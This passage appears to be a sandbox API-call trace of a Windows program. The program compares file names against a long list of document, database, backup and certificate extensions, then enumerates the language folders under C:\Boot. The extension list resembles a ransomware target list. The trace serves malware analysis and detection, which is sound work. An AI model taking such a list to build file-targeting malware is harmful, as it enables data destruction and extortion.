(lpString1=".accdb", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".accdc") returned 6 [0060.837] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".accde") returned 6 [0060.837] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".accdt") returned 6 [0060.837] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".accdw") returned 6 [0060.837] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".adb") returned 4 [0060.837] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".adp") returned 4 [0060.837] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai") returned 3 [0060.837] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0060.837] lstrlenW (lpString=".ai3") returned 4 [0060.837] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai4") returned 4 [0060.837] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai5") returned 4 [0060.837] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai6") returned 4 [0060.837] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai7") returned 4 [0060.837] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".ai8") returned 4 [0060.837] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".anim") returned 5 [0060.837] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".arw") returned 4 [0060.837] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".as") returned 3 [0060.837] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0060.837] lstrlenW (lpString=".asa") returned 4 [0060.838] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asc") returned 4 [0060.838] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".ascx") returned 5 [0060.838] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asm") returned 4 [0060.838] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asmx") returned 5 [0060.838] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asp") returned 4 [0060.838] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".aspx") returned 5 [0060.838] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asr") returned 4 [0060.838] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".asx") returned 4 [0060.838] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".avi") returned 4 [0060.838] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".avs") returned 4 [0060.838] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".backup") returned 7 [0060.838] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".bak") returned 4 [0060.838] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".bay") returned 4 [0060.838] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".bd") returned 3 [0060.838] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0060.838] lstrlenW (lpString=".bin") returned 4 [0060.838] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".bmp") returned 4 [0060.838] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0060.838] lstrlenW (lpString=".bz2") returned 4 [0060.839] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".c") returned 2 [0060.839] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0060.839] lstrlenW (lpString=".cdr") returned 4 [0060.839] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cer") returned 4 [0060.839] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cf") returned 3 [0060.839] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0060.839] lstrlenW (lpString=".cfc") returned 4 [0060.839] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cfm") returned 4 [0060.839] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cfml") returned 5 [0060.839] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cfu") returned 4 [0060.839] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".chm") returned 4 [0060.839] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cin") returned 4 [0060.839] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".class") returned 6 [0060.839] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".clx") returned 4 [0060.839] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".config") returned 7 [0060.839] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cpp") returned 4 [0060.839] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".cr2") returned 4 [0060.839] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".crt") returned 4 [0060.839] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0060.839] lstrlenW (lpString=".crw") returned 4 [0060.839] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".cs") returned 3 [0060.840] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0060.840] lstrlenW (lpString=".css") returned 4 [0060.840] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".csv") returned 4 [0060.840] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".cub") returned 4 [0060.840] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dae") returned 4 [0060.840] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dat") returned 4 [0060.840] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".db") returned 3 [0060.840] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0060.840] lstrlenW (lpString=".dbf") returned 4 [0060.840] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dbx") returned 4 [0060.840] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dc3") returned 4 [0060.840] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dcm") returned 4 [0060.840] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dcr") returned 4 [0060.840] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".der") returned 4 [0060.840] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dib") returned 4 [0060.840] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dic") returned 4 [0060.840] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".dif") returned 4 [0060.840] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".divx") returned 5 [0060.840] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0060.840] lstrlenW (lpString=".djvu") returned 5 [0060.841] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dng") returned 4 [0060.841] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".doc") returned 4 [0060.841] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".docm") returned 5 [0060.841] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".docx") returned 5 [0060.841] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dot") returned 4 [0060.841] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dotm") returned 5 [0060.841] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dotx") returned 5 [0060.841] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dpx") returned 4 [0060.841] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dqy") returned 4 [0060.841] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dsn") returned 4 [0060.841] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dt") returned 3 [0060.841] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0060.841] lstrlenW (lpString=".dtd") returned 4 [0060.841] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dwg") returned 4 [0060.841] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dwt") returned 4 [0060.841] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".dx") returned 3 [0060.841] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0060.841] lstrlenW (lpString=".dxf") returned 4 [0060.841] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0060.841] lstrlenW (lpString=".edml") returned 5 [0060.842] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".efd") returned 4 [0060.842] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".elf") returned 4 [0060.842] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".emf") returned 4 [0060.842] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".emz") returned 4 [0060.842] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".epf") returned 4 [0060.842] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".eps") returned 4 [0060.842] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".epsf") returned 5 [0060.842] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".epsp") returned 5 [0060.842] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".erf") returned 4 [0060.842] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".exr") returned 4 [0060.842] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".f4v") returned 4 [0060.842] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".fido") returned 5 [0060.842] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".flm") returned 4 [0060.842] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".flv") returned 4 [0060.842] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".frm") returned 4 [0060.842] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0060.842] lstrlenW (lpString=".fxg") returned 4 [0060.842] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0060.843] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.843] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5280 [0060.843] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.843] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.844] FindClose (in: hFindFile=0x5a5280 | out: hFindFile=0x5a5280) returned 1 [0060.844] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.844] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0060.844] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.844] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5280 [0060.845] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.845] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.845] FindClose (in: hFindFile=0x5a5280 | out: hFindFile=0x5a5280) returned 1 [0060.845] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.845] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0060.845] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.845] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5280 [0060.846] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.846] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.846] FindClose (in: hFindFile=0x5a5280 | out: hFindFile=0x5a5280) returned 1 [0060.846] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.846] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0060.846] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.847] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5280 [0060.847] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.847] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.847] FindClose (in: hFindFile=0x5a5280 | out: hFindFile=0x5a5280) returned 1 [0060.847] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.847] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0060.847] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.847] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.848] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.848] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.848] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.849] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.849] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0060.849] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.849] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.850] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.850] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.850] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.850] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.850] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0060.850] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 